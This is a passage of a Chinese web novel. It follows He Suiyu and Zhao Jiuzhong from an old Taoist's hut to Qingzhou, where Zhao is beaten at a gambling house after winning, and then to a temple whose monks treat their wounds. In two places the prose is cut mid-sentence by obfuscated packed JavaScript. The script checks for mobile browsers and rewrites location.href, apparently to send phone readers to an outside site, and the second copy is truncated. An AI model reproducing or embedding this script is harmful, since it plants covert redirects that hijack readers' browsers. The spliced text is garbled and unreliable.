第二日天大亮她才醒,她开门出来时,赵九重正在坐在院子里与老道长说什么,老道长捋着白胡子笑眼咪/咪。 赵九重原本破破烂烂、被血染透了的那身衣服换下来了,换了身略有些小的粗木麻衣,大概是老道长的旧衣服。虽然上面零星打了几个补丁,但是比他原本那件快要无法遮蔽身体的破衣裳好多了。 贺岁愉略看了一眼,便转过身走向另一边,问小童找了个木盆,去井边打了一盆水,在井边洗漱。 小童从屋子里出来,手里拿了把斧头,准备劈柴。 小童个子不高,扛着一把到他腰间的大斧头,看起来颇有点让人担心,赵九重一扭头看见了,连忙站起身要过去帮忙。 赵九重得了道士的医治,身上却没有银两以作酬谢,对于道长的感激无以言表,便希望能够帮道长干些活儿,眼下替小童劈柴,就是一个绝好的机会。 小道士却不给他斧头,像个小大人似的对赵九重说:“你身上的伤得好好休养两天,一用力,伤口必然会裂开,还是坐回去吧。” “可是……”赵九重迟疑,“你年纪尚小,能有多大力气,还是我来吧!” 小童哼了一声,辩解说:“少瞧不起人!我力气可大着呢!” 老道长捋着胡子,颇为欣慰地笑着说:“少侠不必担忧,我这小徒确实天生神力,劈几根柴可难不到他。” 小童高高举起铁斧,然后劈下去,“咯嚓——”一声脆响,比碗口还粗的木柴登时变成了两半。 小童一连劈了几十根木柴,额头上连汗都没出,动作也丝毫没有变慢,看起来极为轻松的模样。 这孩子看起来最多不过十岁,便这样厉害,着实罕见。 赵九重惊叹:“仙长的徒弟果然天生神力,非同寻常,假日时日,将来必成大器啊!” 贺岁愉站在水井边远远看着,吃惊之余,心底还颇为羡慕。 她要是有这么一身力气就好了,再遇见歹人靠蛮力就能把对方撂倒,不至于像现在这样弱鸡,处处要靠姓赵的保护。 *** 小童劈完了木柴以后,又去灶下生火。 赵九重干不了重活,生火这样的轻便活计还是能做的,于是小童这次也没有跟他抢。 那小童又扛着靠在门后的大斧头出去劈柴了,对他来说,劈柴轻巧得仿佛不是干活儿,而是玩乐似的,斧头一挥下来,那木柴便“咯嚓——”成了两半,听话极了,无一例外。 老道士挽起袖子,将挂在墙壁上的约莫一拃长的竹扫取下来,用竹扫将锅刷干净,拿了挂在一边的葫芦瓢去缸里舀水,才发现缸里的水不多了。 “阿赞,水缸里没水了,去打两桶水来!” 那院子里劈柴的小童脆生生应道:“是,师父!” 他应了话,便立刻放下了斧头,进来拿了门后的扁担,水缸旁边放着两只空着的矮胖大木桶,他用扁担两端的铁钩挂在木桶的提手上,一端挂了一个,然后,脚步轻快地出去了。 贺岁愉看着他很快就走远的背影,这小孩儿力气出奇的大,而且经历很旺盛,干了这么多的活儿一点都不累,完全没有休息过。 比牛都好使。她心道。就是不知道吃得多不多。 贺岁愉收回目光,道士已经在锅里加了半锅水,他一手拿着木盆,一手一口灰扑扑的大缸的木头盖子,从缸里舀了满满三大碗如雪一般洁白的大米出来,倒在木盆里。 贺岁愉看得眼睛都直了。 白米啊! 她都记不清,自己多久没有吃过白米饭了。 自打穿越过来以后,连粟米和糙米都难见,吃上一口粟米或糙米,就跟过年了一样,幸福得能让人记半个月。 她都快忘记白米饭的香味儿了。 也不知这道士什么来头,穿的道袍破破烂烂的,结果,这么宝贵的白米,竟然舍得拿出来招待他们两个过路人,真是豪啊! 放在数月以前,贺岁愉打死也想不到,她有一天会觉得能吃上白米饭是阔绰。想到这里,她心中便是淌不尽的辛酸泪。 赵九重添了一块柴进灶洞后,忽然抬起头来,看向老道士,恭敬道:“还未请教恩人如何称呼啊?” 老道士正在淘米,闻言,头也不抬地回答说:“贫道不过乱世中沧海一粟,姓名不足挂齿。” “那我将来如何报答仙长大恩呢?”赵九重问。 老道士含笑说:“少侠莫要忘记贫道的华山之约便好。” 赵九重神色郑重,振声回答:“仙长放心,晚辈定然不会忘记。” 老道士但笑不语,将木盆里淘米水倒去,又添了新的清水继续淘米。 贺岁愉若有所思。 她心中奇怪,这老头儿让赵九重去华山做什么? 难道真是因为年纪大了腿脚不便,所以拜托赵九重这个过路人替他走一趟?可是他身边有一个现成的徒弟为什么不使唤?派这小童去见他师兄,不比赵九重一个外人去更好么? 贺岁愉之前还以为是小童年幼,老头子不放心小孩子一个人出远门,所以才要赵九重替他去,可是这小孩儿天生神力,独自出一趟远门比她这个手无缚鸡之力的人可安全多了。 因此,她便更加觉得老道士此举奇怪了。 *** 他们的庭院中便有一口水井,所以被老道士派去挑水的小童很快就回来了。 他挑着慢慢两大桶水,脸上表情却丝毫不显吃力,仍然一脸轻松,就像他刚刚劈柴一样。 这两个木桶大概是为他特制的,考虑到他的身高,所以比寻常装水的木桶要矮一些,免得蹭在地上。但是,它们比寻常的木桶又要宽一些,以它们胖了一大圈的造型来看,应该比一般的木桶装的水要多上不少。 这小童挑着的两桶水,自然也就更重一些。 他肩上的扁担都压弯了,他每走一步,那扁担就要摇晃着身子,发出“吱呀——吱呀——”的呻/吟,在他肩膀上上下摇摆,仿佛承受不住的模样。 小童将木桶放到水缸旁边,一手提着一只木桶,将里面的水倒进了空了大半、快要见底的大水缸里。 两桶水下去,水缸满了大半,小童用扁担又挂起两只木桶,与老道士说:“师父,我再去挑两桶进来。” 小童又跑出去挑了满满两桶水进来,一桶倒进水缸里,另一桶倒了不多一截儿,水缸就已经彻底满了,小童便只好将另一只还装着水的木桶放在了水缸旁边。 他挑了四桶水以后,见老道士没有别的要他做的事情,厨房里有人生火,也不用他来,他便又出去了。 不一会儿,劈柴的“咯嚓——”声就又响了起来。 贺岁愉:“……” 不知道为什么,这孩子精力旺盛、一身牛劲的特点,总让她莫名想起精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977666|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力旺盛到疯狂拆家的哈士奇。 *** 老道士厨艺娴熟,时间分配得合理,淘米、洗菜、切菜……每一样事情都安排得井井有条,赵九重坐在灶洞后面一边与老道士说话,一边看着火,时不时地添柴,屁股就没挪过地方。 贺岁愉忽然发觉,赵九重的社交能力还挺厉害,跟着老道士才认识一天就如此能聊得来,之前在沧州也是,那客栈的掌柜对他也挺仗义,跟他称兄道弟,把酒言欢。 她站在厨房里,根本就帮不上忙。 外面的太阳出来了,是个难得的阳光灿烂的好天气。 贺岁愉干脆从灶屋里出来。 见小童还在劈柴,她走过去,把那些柴抱到堆放柴禾的棚子里,把它们一根根叠放在整整齐齐的木柴”墙”上,将木柴“墙”越筑越高。 小童见她抱着柴去柴棚子里堆起来,于是越劈越起劲儿,越劈越快,“咯嚓——咯嚓——”声不断,刚落下就又响起,小童大有要跟贺岁愉比速度,让她败下阵来,越抱柴越多的意思。 贺岁愉抱了几趟,地上堆的柴反而更多了,垒成了一座高高的小山。 贺岁愉:“……” 他倒也不必如此激动。 她只是觉得自己一个人偷懒不大好,想找个事情做,好装装样子而已啊,谁跟这死小孩一样,一身使不完的牛劲儿! 贺岁愉完全不被他的节奏影响,反而抱着柴还越走越慢,而且怀里抱着的木柴也一趟比一趟少。 她磨磨蹭蹭从柴棚里回来,蹲着身子慢吞吞在地上捡柴,准备抱下一趟柴过去时,饭好了。 一听到老道士喊开饭的声音,她放下柴就跑。 小童劳动了这么久,终于出了一点汗,他放下斧头,摸了一把额头上的薄汗,朝庭院里放着的那张木头桌子走过来。 桌上已经摆上了四碗白米饭,一大碗韭菜炒鸡蛋和一大盘酱萝卜条。 贺岁愉被食物的香气引诱得口水直流,她悄悄地往回吸溜了下。 太香了。 不仅是好久没有见过的白米饭,还有许久没有沾过的荤腥。上一次的狼腿不算,那个也太腥了。 上一次吃鸡蛋还是好几个月前没有穿过来的时候,当时她不知道珍惜,现在终于追悔莫及。 而且这几日在山林中以树叶充饥,唯一不同的食物,就是那晚的半边烤狼腿,贺岁愉闻到正常食物的香气,简直激动得想要落泪。 贺岁愉饿死鬼投胎似的,几口就扒完了一碗饭,赵九重虽然比她克制一些,但是也没慢到哪儿去。 贺岁愉和赵九重两个难民倒也罢了,但是那小童也吃得狼吞虎咽,像是一整天都没吃过饭似的。 这张桌子上唯一称得上斯文的,只有老道士一个人。 老道士只来得及夹了一筷子韭菜炒鸡蛋,第二次伸筷子时,那深口的大碗已经空了,就连沾在碗内壁上的韭菜都被夹得一干二净,一桌四个人,三个人都筷功了得。 老道士看着干净得像被舔过的碗,雪白的眉毛狠狠抽了抽。 他连忙夹了满满一大箸酱萝卜条进碗里,若不手快点儿,酱萝卜条也要没了。 把萝卜条夹进碗里,他这才惊魂未定地说:“锅里还有米饭,想要自己去盛。” 三个正在舔碗的人骤然停下了。 贺岁愉和小童率先站起来,大步朝灶屋跑过去,赵九重虽然有点不好意思,但腹中实在饥饿,好久没有吃过这么美味可口的食物了,于是,他也紧随其后大步朝灶屋走过去。 小童率先端着满满一大碗饭出来,贺岁愉和赵九重也很快出来了,都盛了满满一大碗,而且,三碗米饭明显都是狠狠按过以后,仍然要溢出来的模样。 老道士:“……” 他看着几人抱着他的碗,心有余悸,幸好他饭量不大,刚刚一碗盛够了。 26. 第 26 章 贺岁愉和赵九重在山上的草庐中修养了两日,身上的伤势恢复了一些,然后与老道士和小童作别,又踏上了出山的路。 有老道士指路,贺岁愉和赵九重这次终于赶在天黑之前走出了山林,上了官道。 两日后,二人抵达了青州城。 贺岁愉看着城门上方的青州二字,泪水夺眶而出。 这一路在山林间经历追杀、九死一生,身负重伤在山林间穿行数日,从虎狼口下逃生。 终于到了。 贺岁愉原本的那身衣裳滚下山坡时挂得破破烂烂,又被鲜血浸染,根本不能见人,幸好她很瘦,也没比小童高太多,所以能穿得了小童的衣裳。 她眼下穿的衣裳就是那小童的旧衣裳,除了袖口短了一大截之外,这衣裳看起来,甚至比赵九重那满身补丁的衣裳还要体面一点。 青州城近两年几乎没有受到饥荒和战乱的迫害,临街的店铺都开着门做生意,两边的小摊小贩吆喝叫卖声不止,街上来来往往的行人和车马不少,而且街头的乞丐比沧州城少多了,在如今这样的乱世尤其难得,甚至给了贺岁愉一种繁荣的错觉。 没见过这么热闹有烟火气的地方,贺岁愉甚至有点儿无所适从。 她看向赵九重,问:“咱们身无分文,今晚住哪?” “先去附近找找,有没有能过夜的地方。” 他们转了一大圈,好不容易找到一处破败废旧的房屋,结果里面住了数十个乞丐,根本不愿意接纳贺岁愉和赵九重二人,一群人联合起来将他们赶了出去。 后来又发现了一处桥洞,可惜桥洞下面也住满了乞丐,根本没有他们两个人的容身之地。 青州的乞丐少,只是相对于闹饥荒的沧州而言,不像沧州城那么夸张,街边到处是乞丐。但是青州城的乞丐数量仍然多到足以霸占破庙、桥洞、废弃旧屋等栖身之所。 走了一大圈,贺岁愉的肚子早已经饿得咕咕叫,她一屁股坐在地上,“不想走了,走不动了,根本就找不到能过夜的地方。” 赵九重肚子也饿了。 贺岁愉靠在墙上,静静地注视着他,“你当初把身上的银子都给出去的时候,不是说到城镇以后总会有办法的吗?你想的办法呢?” 赵九重抬起头,视线扫过四周,在经过赌坊时顿了一下。 他收回目光,说了句:“也不是没有办法。” 贺岁愉闻言,来了精神,“什么办法?” *** 贺岁愉跟在赵九重身后进了那家赌坊,心里直打鼓,姓赵的真有能在赌桌上赢钱的本事吗?即便有,可他身上一个子儿都没有,又拿什么参与赌局?拿他那比城墙还厚的脸皮吗? 在贺岁愉心里不断嘀咕时,赵九重已经走到了一张赌桌旁,自然而然地将胳膊搭在了一个年轻男人的肩膀上,男人正专心致志地看着赌桌上,压根懒得转头看赵九重一眼。 围着赌桌的一群人中间,有一人高声大喊着:“压大压小?压大压小?” 那年轻男人额头上的汗珠都落下来了,不知道是因为挤在人堆里热的还是被赌桌上的骰子点数急的。 赌桌上众人的声音混杂,热火朝天,没有人注意到赵九重在年轻男人耳边说了什么。 贺岁愉隔了几个人站在他们后面,虽然完全听不见赵九重说了什么,但是从他说话时的口型大概猜出来,他说的是:“兄弟信我,压大。” 那年轻男人果然按赵九重所说压了大。 庄家的手按在骰盅上,马上就要揭开骰盅,赌桌四周下注的人大声地喊着“大”和“小”,各种或尖锐或粗厉的不同音色的声音混杂在一起,震得人耳心都疼。 庄家揭开了骰盅,用洪亮的声音宣布了结果:“五点、四点、六点、十五点大!买大的赢,买小的输啦!” 人群中爆发出惊天动地的声响,那年轻男人高兴得跳起来,“是大!是大!” 他激动地转头看向赵九重,眼神中流露出来情真意切的感激,若非怕别人发现,恐怕要激动地抱着赵九重跳起来。 有人欢喜自然有人忧,赢了的人高兴得手舞足蹈,欢欢喜喜地把赢过来的银子都搂到自己面前,输了的人唉声叹气,不情不愿地交出对应数量的银子。 年轻男人赢了一大把银子,高兴得嘴都合不拢,脸上的笑容就没有消失过,拿起最大的一块银锭子在嘴上猛亲了两口,然后又接着笑。 众人又接着开下一局,将注意力和精力投入下一场赌局中。 赵九重趁这个机会,在那年轻男人耳边说了什么,那年轻男人悄没声息从怀里掏出一小块碎银递给他,赵九重在年轻男人耳边说了句什么,年轻男人脸上的笑容更大了,听了赵九重的话便点点头。 赵九重没再在他旁边多待,拿着那一小块碎银从人群中退出来找贺岁愉了。 他转身时,自然没有注意到庄家背后那两个人注意到了他,凶厉的目光落在他的背后,其中一个人在那庄家耳边说了什么。 贺岁愉的目光落在赵九重拿着碎银子的手上,满心都是赵九重有银子了,他们有饭吃了,分不出注意力在旁的事情上,所以也没有发现远处的庄家及其身后两人的动作。 贺岁愉高兴地拉着赵九重往出走,“走啊,出去买吃的。” 赵九重却没有跟着她走,“等等——” “来都来了,不如再多赢点儿钱再走,这点儿银子咱俩吃两顿饭就没了,根本不够今晚找地方住的钱。” 贺岁愉知道他说的时候,也猜到了他想做什么,但心里还是很迟疑:“那你的意思是……” 赵九重说:“我再去赢几局,赚点儿住店的银子。” 贺岁愉不舍地看着这块小碎银,“你确定你能赢吗?别把这块银子也输……” 话说一半儿,她忽然止住了声音,“呸呸呸——不能说这么不吉利的话。” 赵九重看着贺岁愉的一脸迟疑和纠结,拍了拍胸膛,“我既然敢说这话,自然是多少有点儿本事的,你就瞧好了吧。” “那好吧……”贺岁愉说着,依依不舍地松开他的袖子,当然这不舍与他本人半分关系都没有,她不舍的,只有他手里的银子。 赵九重拿着微小的本钱,转身加入了另一张赌桌。 贺岁愉就站在人群后面,隔着几个人的位置看着他的一举一动。 前面的几个男人太高,挡住了她的视线,她偶尔能看见赵九重意气风发、胸有成竹地喊着“压大”或是“压小”,但是大多数时候,只能看见前面人的背影。 她也看不太懂赌局,但是能看到赵九重有没有赢钱,赵九重赢了她就跟着高兴,心里美滋滋地想着今晚有地方住、有热饭吃了。 赵九重一连赢了四局。 贺岁愉换了个位置,又往前挤了挤,从人群的缝隙看到,他面前的银子已经从很小的一块碎银变成了好几块,而且一堆碎银里,还有一块个头挺大的银锭。 贺岁愉惊叹:好多钱,好多钱!天哪!发了发了! 短短一瞬间,她连晚上住如何上等的客栈,吃如何美味的佳肴都想好了。 她正两眼冒光,远远数着银子数量时,一片人群爆发的喧嚣中,赵九重又赢了一把,搂了一小把银子回来。 贺岁愉眼睛都瞪大了,双眼发直地看着白花花的银子。 她再也不用饿肚子了。 高兴过后,她心中不免有点儿惶恐,赵九重这么赢下去,不会出事吧? 她心底高兴的同时,担忧地远远看着赌桌的情况。 结果出人意料的是,从入局开始,一路所向披靡的赵九重这一把输了,赢了的人爆发出比之前还要响的喝彩声,大概是一直输,难得扬眉吐气赢了一把,所以格外激动。 贺岁愉看他输了,虽然有点儿肉疼被划出去的银子,但是心底也松了一口气。 做人不能太贪心,赵九重出风头太大不是好事,剩下的这些银子,也足够他们二人过上一个多月吃饱穿暖的好日子了。 赵九重忽然捂着肚子“哎哟哎哟——”叫唤起来,他搂了面前的银子揣进怀里,与赌桌上的人致歉,说他肚子疼,得先去茅房解决一下,让旁边的人先替他顶上。 赌桌上的其他人自然不许。 “刚输了一把就想溜?没门儿!” “你今儿个就是拉裤/裆里,你都得把这一把玩了再说!” “你小子别想溜!” 赵九重无法,只得留下来又接着玩。 结果,这一把他又赢了。 赌桌上唉声叹气一片,不情不愿地把银子推出来,赵九重自然悉数笑纳了。 他仍然一只手捂着肚子,脸上的表情看起来,仿佛痛得厉害,“我现在可以去茅房了吧?” 赌桌上又输了钱的人这才烦躁地挥手,“去去去!赶紧去!” 赵九重忙不迭从赌桌跟前离开了。 赵九重从人群里钻出来,左右看看,正在人群中寻找那个熟悉的身影。 贺岁愉见他出来了,也连忙从人群里钻过去,“我在这里!” “走吧。”赵九重点点头,脸上喜气洋洋,挺直了腰板,哪有刚才弯着腰,一脸痛苦、肚子疼得厉害的模样。 说罢,二人就朝门口走去。 走到门口时,却忽然被人拦住了脚步。 两个身高体壮、满脸横肉的大汉站在门口堵住了他们的去路。 赵九重本能地将贺岁愉护在身后,警惕道:“二位这是做什么?” 其中一个大汉抱着胳膊,语气不善地说:“小子,你是不是来砸场子的?不知道我们赌坊的规矩吗?” 赵九重脑子 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“哟!还是个练家子,老子倒是要看看,是你小子的拳头硬,还是老子养的这群打手拳头硬!” “敢在老子的地盘出千,活得不耐烦了!给我狠狠地打!” 赵九重一个人难敌这么多赌坊打手,到最后只能被动的挨打,站在一旁的贺岁愉也被他牵连,被那打手打了一拳便倒在了地上。 赵九重见状,心中一急,又别无他法,连忙趴在她身上保护她,免得那壮汉继续打她。 他双膝跪在地上,弓着身子,在身下留了充足的空间,将贺岁愉护在身下,替贺岁愉挡住了所有风雨。 密密麻麻的重拳落在赵九重的身上,背上的伤口根本经受不住这么猛烈的攻击,鲜血瞬间就涌了出来。 流出来的鲜血,多得像水一样淌了满地,有一些顺着他的身侧滴落到了贺岁愉身上,贺岁愉感知到了身上,渗透了她的衣服传递到她皮肤上的潮湿和粘腻,浓重的血腥味儿紧紧萦绕着她,呛满了她的鼻腔。 赵九重却始终咬着牙,一声不吭。 他失去血色的嘴唇张张合合,似乎有什么喑哑的声音从其中流泻而出,周围太过混乱和嘈杂,叫骂声和拳脚落下的声音不绝于耳,密密麻麻织成一张大网,禁锢得贺岁愉根本喘不过气来。 贺岁愉也根本听不清他说了什么。 但是她眼睛都不眨,黑色的瞳孔一直盯着他。 她看见了他的嘴型。 他哑声说的,约莫是:“对不起,连累你了。” *** 贺岁愉和赵九重二人被丢出了赌馆,赵九重赢的银子也被对方搜刮得一干二净,一个子儿也没给赵九重留下,甚至临走时,又狠狠踹了赵九重两脚。 贺岁愉一手捂着身上痛得厉害的地方,一手撑着地慢慢爬起来。 赵九重闭着眼睛躺在地上,一动不动,就跟死了一样。 贺岁愉忍着痛得像是已经裂开的肩膀,伸出手晃了晃他,“醒醒!醒醒!” 赵九重仍然纹丝不动。 贺岁愉没法子,只得忍着自己身上的伤扶他起来,可是赵九重太重,她根本扶不动他。 贺岁愉弄了好一会儿,没把人扶起来,她和赵九重身上的血反而流得更严重了。 她抬起头,看了一眼周围正指指点点、围观看热闹的人,生疏地开口:“请问有没有人愿意帮个忙,跟我一起扶一下他?” 无人应答,也没有人上前。 有几个人见贺岁愉的目光落在他们身上,立刻往后退了一步,生怕被贺岁愉缠上,甚至还有人朝贺岁愉露出鄙夷的表情,讥讽道:“遭报应的赌鬼!血流干暴尸街头都没人管!还不要脸地想求老子帮忙!” 贺岁愉收回目光,在心底里嘲笑自己,她在期待什么?还在期待这里会像她从前所处的那个时代一样,总有见义勇为的热心人士吗? 贺岁愉咬紧牙关,用尽全身的力气,终于将赵九重从地上扶起来,刚扶着人起来,差点儿一个趔趄,连带着她都跟着一起摔在地上,幸好她及时稳住了身体,这才没有又倒下去。 她踉踉跄跄地扶着赵九重走出围观的人群,从人们旁边经过时,她的心高高提了起来,生怕这其中有人看他们不惯,出于一些不能理解的心理突然攻击他们。 贺岁愉扶着赵九重走了一段路以后,就彻底没了力气,将赵九重放下,她一屁股坐在地上,靠着土墙上休息。 她抬手,擦了擦额头上密密麻麻的汗珠,因为太久没吃东西,而且又要出这么大力气,所以额头上的汗珠像黄豆一样,大颗大颗的往下滚。 休息了一会儿,恢复了一些力气以后,贺岁愉又站起来,准备扶赵九重起来,继续往前走。 天快要黑了,他们必须得找一个地方过夜。 27.第 27 章 贺岁愉扶着赵九重起来,结果,刚站起来她腿一软,两个人都朝赵九重那边摔了下去。 她摔在了赵九重身上,有人垫在下面,倒是没摔疼。 赵九重摔在下面,而且是迎面摔下去的,所以脸上又蹭破了一块皮。 贺岁愉看着他脸上的又蹭出来的新伤,心虚地移开了目光。 就在她准备去拉赵九重起来时,赵九重缓缓睁开了眼睛。 “你醒了!”贺岁愉惊喜道。 早知道摔一跤就醒了,那她刚刚应该早点把他摔地上的,还费劲巴拉地架着他走那么远,给自己累个半死不活。 赵九重撑着地摇摇晃晃地爬起来,刚站起来,就又吐了一口鲜血,“噗——” 鲜红刺目的血液洒在地上,沾在翠绿的草叶上,大部分都渗进了黄色的泥沙中。 “你……”贺岁愉担忧地看着他,生怕他突然爬起来是回光返照了。 赵九重吐出胸腔中的淤血,扶着墙缓了一会儿,对贺岁愉说:“走吧。” 贺岁愉连忙应道:“好。” 她就走在他的旁边稍微靠后一点儿的位置,这样赵九重一头栽下去以后,她能及时发现。 天黑时,他们找到了一处避风的狭窄巷子,躲在杂物后面,将就歇息了一夜。 第二天天还没有完全亮,贺岁愉就醒了过来。 这个地方太冷了,她昨晚被冻醒了好几次,根本就没有睡多长时间。 这几日历经坎坷、风尘仆仆地赶到青州,离开老道士的草庐以后,路上的条件也很艰苦,她一连好几日都没有睡过一个好觉。 贺岁愉顶着眼下的青黑从地上爬起来,也不完全是冻醒的,很大一部分是被饿醒的。 再不吃点儿东西,她真要饿死了。 昨晚走到这里,天已经彻底黑了,她又累又困,身上被赌坊打手打了的地方也痛得厉害,所以窝在这里早早就睡过去了。 赵九重仍然躺在地上,不知道是睡过去了,还是昏过去了。 贺岁愉踢了踢他为数不多没有流血的地方。 赵九重没什么反应。 就在贺岁愉准备用点力气再踢两脚时,赵九重这才缓缓地睁开眼睛,贺岁愉及时收住了快要挨到他的脚。 “咱们去找点儿吃的。”贺岁愉说。 赵九重点点头,两手撑着地,侧过身子,慢慢从地上爬起来,因为身上的伤口又裂开了,新伤垒旧伤,他的动作不免因此变得缓慢和笨重。 贺岁愉和赵九重走出巷子,走了没多远,发现了一小片田地,田地里种着绿油油的一片,不知道是什么。 贺岁愉走近了才看清,是一地密密麻麻的莴苣,她当即从田坎上跳下去,两手一起拔出来一根又大又粗的莴苣。 她三两下剥了莴苣表皮,张大嘴啃了一口,清甜丰盈的汁水瞬间充斥了她的口腔,缓解了她的口干舌燥,也滋润了火辣辣的喉咙。他们赶了巧,这个时节,莴苣刚到能吃的时候,味道鲜美极了。 “好甜、好脆!”贺岁愉一边啃着莴苣,一边满脸幸福地感叹道。 赵九重见她吃得香,也连忙拔了一根。 贺岁愉坐在田坎上,没几口就吃完了一根,又从地里拔了一根出来。赵九重拿着一根剥了外皮的莴苣,一边啃一边在她旁边坐下。 二人像饿鬼下山一样,一连吃了数十根莴苣,手上和嘴上的动作这才慢下来。 “师兄!有人偷莴苣!”忽然,不知道从哪儿传来一道声音。 贺岁愉一激灵,连忙抬起头,正好看见对面田坎上有一个光脑袋的小和尚面色不善,正用手指着他们,约莫是在给什么人指方向。 贺岁愉站起来,转过身拔腿就跑。赵九重也反应过来,站起来就逃。 结果,两人没跑几步,就被一群面无表情的和尚拦住了去路。 对方人多势众,来势汹汹,以她和重伤的赵九重二人绝不是对手。 贺岁愉看着面前这群高矮胖瘦各不一样的和尚,情急之下,指着赵九重说:“都是他偷的,跟我没关系。” 赵九重不可思议地瞪大了眼睛看向她。 “我刚刚拦你都没拦住,你说你真是,就算是饿死也不能偷人家的莴苣啊!真是!”贺岁愉假装没看见他脸上的惊愕,一边指责赵九重,一边就要绕开僧人们继续往前走。 赵九重可别怨她,他们两个人必须得保下来一个,否则两个人要是都再挨一顿打,都重伤不起,还怎么活下去?身边连个照管的人都没有,只能躺在原地等死。 “施主留步。”贺岁愉刚走两步,一个声音自后方传来。 贺岁愉心猛地一跳。 她不跑她是傻子,贺岁愉拔腿便想狂奔,结果腿刚迈出去,就被人提住了衣领,“嘿你!我师兄叫你站住你听不见吗?” 贺岁愉回过头来,是那个个子最高最壮的黑脸大和尚。 这和尚壮得感觉能一拳打死人。 贺岁愉抖了下。 刚刚站在最前面的那个和尚说:“慧空,不得无礼。” 那黑脸大和尚这才哼了一声,不情不愿地放开贺岁愉。 被黑脸大和尚叫做师兄的瘦和尚轻声细语地说:“施主不必惊慌,我叫施主留步是因为,我看二位施主身上俱负重伤,贫僧略通医术,二位施主如果有需要,可以随贫僧回去,让贫僧为二位诊治一番。” 贺岁愉警惕地看着他,“可是我们刚刚偷了……不,是我的同伴偷了你的莴苣,你为什么要帮我们?” 赵九重无奈扶额,都这个时候了,还不忘记严谨地把锅甩给他。 “阿弥陀佛。”那和尚又先念了一声佛,“众生皆苦,小僧力微,但能渡一个就算一个。” 这实在是一个很难让人相信的回答,乱世中的好人比黄金还稀有和可贵。 贺岁愉看向赵九重。 她虽然有点儿担心这是什么陷阱,但是赵九重的伤再不处理,没命是迟早的事。 “嘿你这小贼!我师兄好心救你们,你还犹犹豫豫怀疑我师兄!”那黑脸的和尚看出贺岁愉脸上的迟疑,面色不虞地说。 “先前我二人因为错信险些为人所害,所以现在不免对生人多有堤防,几位师傅勿怪。”赵九重解释说。 被黑脸和尚叫做师兄的瘦和尚点点头,“能理解,如今世道乱,二位施主有防人之心是好事,但这位施主你身上的伤再不诊治,恐有性命之忧,不如且信贫僧这一回。” 赵九重和贺岁愉跟着和尚去了寺庙。 寺庙离莴苣地不远,名叫灵霄寺。并不是什么大庙,寺里约莫有二十几个和尚,老的已经腰背佝偻,眉毛雪白了,而小的大概只有五六岁,拿着扫把扫院子时,还没有扫把高。 刚刚拦住他们的一群和尚,基本上是这座寺庙里所有的青壮了。 不计较他们偷莴苣还愿意救治他们的那个瘦和尚,法号慧明,是寺里这群和尚的大师兄。 贺岁愉和赵九重偷莴苣时,他们正在不远处的高粱地里劳作,所以这才能那么快地就逮住他们。但他俩饿疯了,压根没有注意到附近的人,见到吃的以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵九重没醒,只是在说梦话而已。他嘴里不住地在说什么胡话,听不真切,声音忽大忽小,语气急切,约莫是正在做什么噩梦。 贺岁愉松了口气。 死赵九重,吓死人了。 贺岁愉把药瓶放在桌子上,不紧不慢地整理好里衣,再系好外衣的系带。 但是她身上的伤不止肩膀上这一处,肩膀上的伤是最严重的,腰背上还有几处。赵九重昨日虽然护在她身上,但是密密麻麻的拳脚落下来,其中难免有钻了空子落在贺岁愉身上的。 贺岁愉先掀起衣裳,涂了腰间的伤,然后背着手,涂了后背上的伤,这是被赌场打手扔出去时,后背砸在地上弄出来的。 她正涂药时,赵九重忽然大叫一声,从床上坐了起来。 贺岁愉吓得一激灵。 她放下后背的衣裳,猛地坐直了身子,睁圆了眼睛看着赵九重。 盖在赵九重脸上的衣裳因为他骤然坐直而落了下来。 不过他并没有把目光投向贺岁愉这边,他目光落在前方,大口大口地喘着气,仿佛做了极可怕的噩梦。 贺岁愉见他一时没有注意到自己,不动声色地把药放回了桌子上,仿佛她刚刚并没有什么太大的反应。 好一会儿,赵九重才从噩梦中回过神来,发现贺岁愉远远地坐在桌子旁边,两手空空,也没干什么。 他随口问了句:“你坐在那儿干什么?” “没做什么,”贺岁愉神色不大自在地揭过了话题,难得有一句关心,“你刚刚做噩梦了?” 赵九重仍然有点儿失神,并没有发现贺岁愉脸上的不自然,低声嗯了一声。 “梦到什么了?”贺岁愉好奇地看着他,“吓成这样?” 赵九重摇了摇头,却并没有回答的意思。 贺岁愉撇撇嘴,不说就不说,她还懒得听呢! 小气鬼! 28.第 28 章 夜里,只有一张床,贺岁愉只能和赵九重挤一张床,寺庙里的床很窄,他们两个并肩躺着几乎没有什么空余。 贺岁愉怕被赵九重挤到床下面去,所以这次还是睡的里侧。 她纤瘦薄薄的肩膀就挨着赵九重健壮宽厚的肩膀,他身上的灼热温度也从肩膀上传递过来,这热度让贺岁愉有点儿不安。 她下意识往里侧缩了缩,可惜于事无补,里侧已经挨了墙,挪无可挪。 贺岁愉平躺在床上,看着一片漆黑的屋顶,有月光从窗户照进来,隐约照亮了几根屋梁。 和赵九重靠得这么近,她以为自己会失眠,但是并没有。 或许是因为这几日奔波劳累,她实在太过疲惫,也或许是因为这些日子的出生入死,她竟然慢慢对赵九重有了些不可言说的信任, 没过多久,她就感觉到眼皮越来越沉,渐渐地陷入了沉睡。 赵九重也很快就睡着了。 突然,横空落下一只手,正好打在他伤口上,赵九重“嘶——”一声,被痛醒。 赵九重看着胸口搭上的爪子:“……” “睡相也太差了!”他没好气地将贺岁愉的手给她扔回去。 胸口的手被挪回去了,赵九重这才闭上了眼睛。 他刚睡着,一条腿又搭在了他的腿上,正好一脚踢到他伤口上。 赵九重在黑暗中倒吸一口凉气,痛得面目狰狞,好一会儿都没缓过来。 他抓着她的裤腿,将她的腿从他的伤口上挪开。 他气得晃醒贺岁愉,“你睡觉能不能安分一点儿? 贺岁愉眼睛都没睁开,睡得糊里糊涂的,凭着本能反应嘟囔了一句回应他:“谁叫你浑身都是伤口?” 赵九重:“……” 